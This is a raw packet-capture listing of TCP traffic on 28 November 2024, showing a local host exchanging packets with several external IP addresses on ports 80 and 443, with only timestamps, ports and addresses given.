Nov 28, 2024 02:27:20.638191938 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.638501883 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.638508081 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.638746023 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.639189005 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.639525890 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.639532089 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.639656067 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.639657021 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.639657021 CET	49748	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.639674902 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.639698029 CET	443	49748	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.639813900 CET	49748	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.639914989 CET	49748	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.639926910 CET	443	49748	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.640409946 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.640594006 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.641370058 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.641376972 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.641639948 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.641642094 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.641963005 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.642360926 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.642366886 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.642528057 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.643270016 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.643383026 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.644009113 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.644110918 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.644265890 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.644278049 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.644332886 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.645250082 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.645256996 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.645338058 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.646171093 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.646620035 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.646962881 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.647154093 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.647161007 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.647329092 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.648066998 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.648175955 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.649038076 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.649045944 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.649249077 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.649286985 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.649504900 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.650187016 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.650193930 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.650259972 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.650955915 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.651026011 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.652038097 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.652045012 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.652275085 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.652328014 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.652656078 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.652861118 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.653037071 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.653882027 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.653888941 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.653994083 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.654126883 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.654227018 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.654810905 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.654817104 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.655000925 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.655755997 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.655942917 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.655976057 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.656831026 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.656838894 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.657159090 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.657721043 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.657891035 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.657931089 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.657999992 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.658646107 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.658652067 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.658808947 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.709161997 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.709202051 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.709327936 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.709572077 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.709583998 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.712342024 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.712409019 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.712524891 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.712698936 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.712698936 CET	49740	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.712713003 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.712718010 CET	443	49740	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.717205048 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.717226028 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.721298933 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.721344948 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.721352100 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.899338007 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.899358034 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:21.482062101 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:21.482218027 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:21.509602070 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:21.509674072 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.016349077 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.016438007 CET	443	49751	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:22.016542912 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.017983913 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.018024921 CET	443	49751	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:22.020987034 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.021162987 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.036446095 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.036556005 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.069555044 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.069574118 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:22.069681883 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.069905043 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.069919109 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:22.152617931 CET	49756	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.152681112 CET	443	49756	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:22.152776003 CET	49756	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.153027058 CET	49756	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.153043985 CET	443	49756	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:22.232789040 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.232805014 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:22.232945919 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.233349085 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:22.233362913 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:22.295048952 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.295063019 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.300023079 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.302998066 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.303005934 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.303740978 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.303745985 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.311604977 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.311611891 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.312179089 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.312207937 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.313313961 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.313324928 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.313627005 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.313632965 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.332356930 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.336554050 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.336566925 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.337019920 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.337025881 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.350662947 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.350739002 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.351036072 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.351056099 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.353611946 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.353625059 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.356924057 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.357085943 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.357520103 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.357525110 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.357757092 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.357760906 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.430629015 CET	443	49748	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.431154013 CET	49748	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.431169987 CET	443	49748	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.431212902 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.432312012 CET	49748	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.432328939 CET	443	49748	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.432410955 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.432435036 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.432951927 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.432956934 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.577061892 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.581746101 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.581758022 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.582298994 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.582304001 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.691462994 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.691493988 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.691509008 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.691584110 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.691595078 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.691653013 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.727555990 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.727580070 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.727601051 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.727647066 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.727751017 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.727777958 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.727842093 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.734812975 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.734839916 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.734857082 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.734903097 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.734930992 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.734942913 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.734994888 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.752768993 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.752827883 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.753101110 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.753256083 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.753273964 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.753371954 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.753380060 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.756447077 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.756485939 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.756768942 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.756992102 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.756998062 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.765260935 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.765281916 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.765321970 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.765330076 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.765347958 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.765408993 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.775188923 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.775249004 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.775355101 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.775453091 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.775453091 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.775464058 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.775473118 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.777877092 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.777899981 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.778024912 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.778157949 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.778172016 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.797557116 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.797569036 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.797653913 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.797662020 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.797708988 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.814958096 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.815021992 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.865008116 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.865040064 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.865056038 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.865092993 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.865109921 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.865128040 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.865200996 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.880290985 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.880314112 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.880397081 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.880403996 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.880458117 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.882136106 CET	443	49748	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.882200003 CET	443	49748	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.882286072 CET	49748	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.882757902 CET	49748	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.882781982 CET	443	49748	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.882792950 CET	49748	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.882798910 CET	443	49748	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.882999897 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.883063078 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.883116007 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.883498907 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.883506060 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.883522034 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.883528948 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.887310982 CET	49762	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.887347937 CET	443	49762	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.887429953 CET	49762	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.887525082 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.887537003 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.887602091 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.887811899 CET	49762	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.887830019 CET	443	49762	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.887933969 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:22.887949944 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:22.912221909 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.912292957 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.912329912 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.912377119 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.912430048 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.912431002 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.924783945 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.924802065 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.924848080 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.924868107 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.924890041 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.924915075 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.935481071 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.935502052 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.935592890 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.935600996 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.935672998 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.965893030 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.965917110 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.965993881 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.966022015 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.966139078 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.966593027 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.966675997 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.966686964 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.966813087 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.972259045 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.972280025 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.972361088 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.972378016 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.972425938 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.997039080 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.997123003 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:22.997133017 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:22.997174978 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.019948006 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.020015001 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.020025015 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.020078897 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.038862944 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:23.038944006 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:23.039186001 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:23.039220095 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:23.039233923 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:23.039243937 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:23.039248943 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:23.042155981 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:23.042176008 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:23.042238951 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:23.042437077 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:23.042448044 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:23.050345898 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.050431967 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.050440073 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.050533056 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.061693907 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.061736107 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.061759949 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.061768055 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.061800003 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.061831951 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.073801994 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.073812962 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.073841095 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.073877096 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.073894024 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.073916912 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.073935032 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.086132050 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.086150885 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.086225986 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.086252928 CET	443	49744	150.171.27.10	192.168.2.6
